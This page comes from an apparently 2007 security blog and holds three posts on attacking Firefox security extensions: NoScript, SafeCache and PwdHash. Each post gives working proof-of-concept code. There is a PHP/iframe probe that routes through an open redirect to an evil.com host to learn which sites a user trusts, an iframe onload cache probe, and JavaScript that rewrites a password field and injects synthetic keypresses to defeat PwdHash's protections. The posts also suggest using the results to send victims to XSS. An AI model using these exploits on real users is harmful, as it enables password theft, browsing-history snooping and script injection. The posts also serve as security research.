Showing posts with label Extension Hacking. Show all posts
Showing posts with label Extension Hacking. Show all posts

Wednesday, May 16, 2007

Determining sites trusted by NoScript

With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.

Open Redirect



The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:

detect.php:
<html>
<body>
<iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"></iframe>
</body>
</html>


query.php:
<?php
if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {
print "Untrusted!";
} else {
print "Trusted!<br />\n";
print "For ID: ".$_SERVER['QUERY_STRING'];
}

?>


The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.

Non-Open Redirects



Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
  • We cannot use Javascript to determine where you've been.

  • We cannot actually pass a parameter to where we will be redirected.


The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/

The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.

Most systems which perform closed redirection have URLs which look like:
http://www.site.com/redir.php?id=123

Where the id value is first run through intval(), then put directly into an SQL statement.

Now, we can exploit this fact by sending people to a URL like this:
http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3E

Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
http://www.site.com/redir.php?id=%3F123%26id%3D

And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.

If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.

Controlled Off-Site Resources


If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.

Generic Method


The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.

And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.

If you send a user to:
http://www.site.com/page.php?param=%3Ctest%3E

And the history hack says the user has been to
http://www.site.com/page.php?param=%20test%20

Then the site is obviously trusted.

Uses


These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.

Final notes


Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.

The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.

Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?

Beats me; I just thought this was interesting.....

Saturday, February 10, 2007

Attacking the SafeCache Firefox Extension

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all my content here:

The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/

Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.

It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.

To test this either login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and then create a page like the following:

<html>
<body>
<script>
function loaded() {
var time = new Date();
var t2 = time.getTime();
alert(t2- t1);
}
var time = new Date();
var t1 = time.getTime();
</script>
<iframe src="http://mail.google.com/mail/help/images/logo.gif" onload="loaded()">
</iframe>
</body>
</html>



And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.

If you refresh the page, the onload event will not fire a second time because the image is already in the cache.

So while it stops standard cache timing attacks, it does not stop attacks against itself.

Friday, February 02, 2007

Attacking the PwdHash Firefox Extension

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all the content here:




A while ago I saw an interesting paper/implementation of a way to hash and salt user passwords by domain, so that (I assume) phishing attacks would not be able to steal users' passwords because they are salted with the phishing domain rather than the targeted domain. You can find more info here: https://www.pwdhash.com/

If you read their paper, and the comments in the extension you'll see that they've got pretty much anything you can think of covered. One of the things they haven't been able to stop has been Flash based sniffers, because Javascript extensions don't have any control over 3rd party plugins.

But I have come up with a way to circumvent certain protections and possibly another attack.

To protect against context switching attacks when a user presses the @@ combination or the F2 key into a password field the context cannot be changed without alerting the user if there are less than 5 additional characters.

This is decent protection since you cannot steal the first 5 letters of a user's password, and since user passwords aren't particularly long those first 5 characters are vitally important.

But the extension developers made a few fatal mistakes - they allow the page to receive events of a user pressing the @ key (they do not allow the page to get the F2 key), and they also check how many characters there are in the text box by checking the DOM, and since we are not restricted from changing the DOM we can easily change the contents of the password box.

So what we can do is; detect two presses of the @ key, quickly change the value of the password box to testing or some similar string which is more than 5 chars long, set the focus to another element, and then change the value of the password box to two @ signs, and put the user back in place. you get a little flicker, but most users will discount that, anyway; here's an example:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);
var last = null;

document.onkeypress = function (e) {

var key = String.fromCharCode(e.charCode);
if (last == '@' && key == '@') {
var pb = document.getElementById("pass");
pb.value = '@@testing';
window.setTimeout("context_switch ();", 1);
}
text.innerHTML = text.innerHTML + key;
last = key;
}

function context_switch () {
var pb = document.getElementById("pass");
var tb = document.getElementById("text");
tb.focus();
pb.focus();
pb.value = '@@';
}
</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden>
</form>
</body>
</html>


Another thing Firefox allows you to do is create events, which can be sent to the DOM, and for some reason they do not go through extensions, this is a sort of double edged sword because while we cannot simulate a user typing to an extension, the extension is not aware of us sending events to the DOM.

And since the extension developers are sort of using the password box to store the password (the password box contains @@ABCDEFGH...etc which get mapped to the text you entered by the extension when they're computing the hash) we can insert text into the password box and have it included in the hash, and since we can inject the letters ABCD, etc, we can conduct an attack where we know that say each letter is repeated 3 times (by detecting keyboard events and then sending two of those events to the textbox again), this isn't a real attack atm since I haven't looked at the hashing algorithm, but it should make any cryptanalysis easier if we can repeat any number of letters any number of times.

Also, if we think we can get the user to keep on entering their password over and over again, we can just replace the textbox content with say @@AAAAA or @@BBBBB or @@CCCCC or similar so we can get a hash of a single character repeated, and then have a simple 256 value lookup table.




Ok, I figured out a way to defeat the fact that we can't detect the F2 key being pressed.

It does have some false positives, but this is just to show that an attack is still possible.

Anyway, what we do is detect when we get sent an A, we then check that the length of the text in the password box is > 0 and if it is, we send 4 As to the password box, and swap the context. And record some data, and all we need is a 256 value lookup table. Anyway, here's the PoC:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);

var enc0 = null;
var enc1 = null;

document.onkeypress = function (e) {

var key = String.fromCharCode(e.charCode);
if (key == 'A') {
var pb = document.getElementById("pass");
window.setTimeout ("test_n_send();", 1);
}
text.innerHTML = text.innerHTML + key;
}

function test_n_send() {
var pb = document.getElementById("pass");
var tb = document.getElementById("text");
if (pb.value.length > 0) {
send4A();
enc0 = pb.value;
tb.focus();
enc1 = pb.value;
pb.focus();

var enc0b = document.getElementById("enc0");
enc0b.value = enc0;

var enc1b = document.getElementById("enc1");
enc1b.value = enc1;

}
}

function send4A() {

var i;

for (i=0;i<4;i++) {
var evt = document.createEvent("KeyboardEvent");
evt.initKeyEvent(
"keypress", // in DOMString typeArg,
false, // in boolean canBubbleArg,
false, // in boolean cancelableArg,
null, // in nsIDOMAbstractView viewArg, Specifies UIEvent.view. This value may be null.
false, // in boolean ctrlKeyArg,
false, // in boolean altKeyArg,
false, // in boolean shiftKeyArg,
false, // in boolean metaKeyArg,
0, // in unsigned long keyCodeArg,
65); // in unsigned long charCodeArg);

var pb = document.getElementById("pass");
pb.dispatchEvent(evt);
}
}

</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden><br />
<input id=enc0><br />
<input id=enc1><br />
</form>
</body>
</html>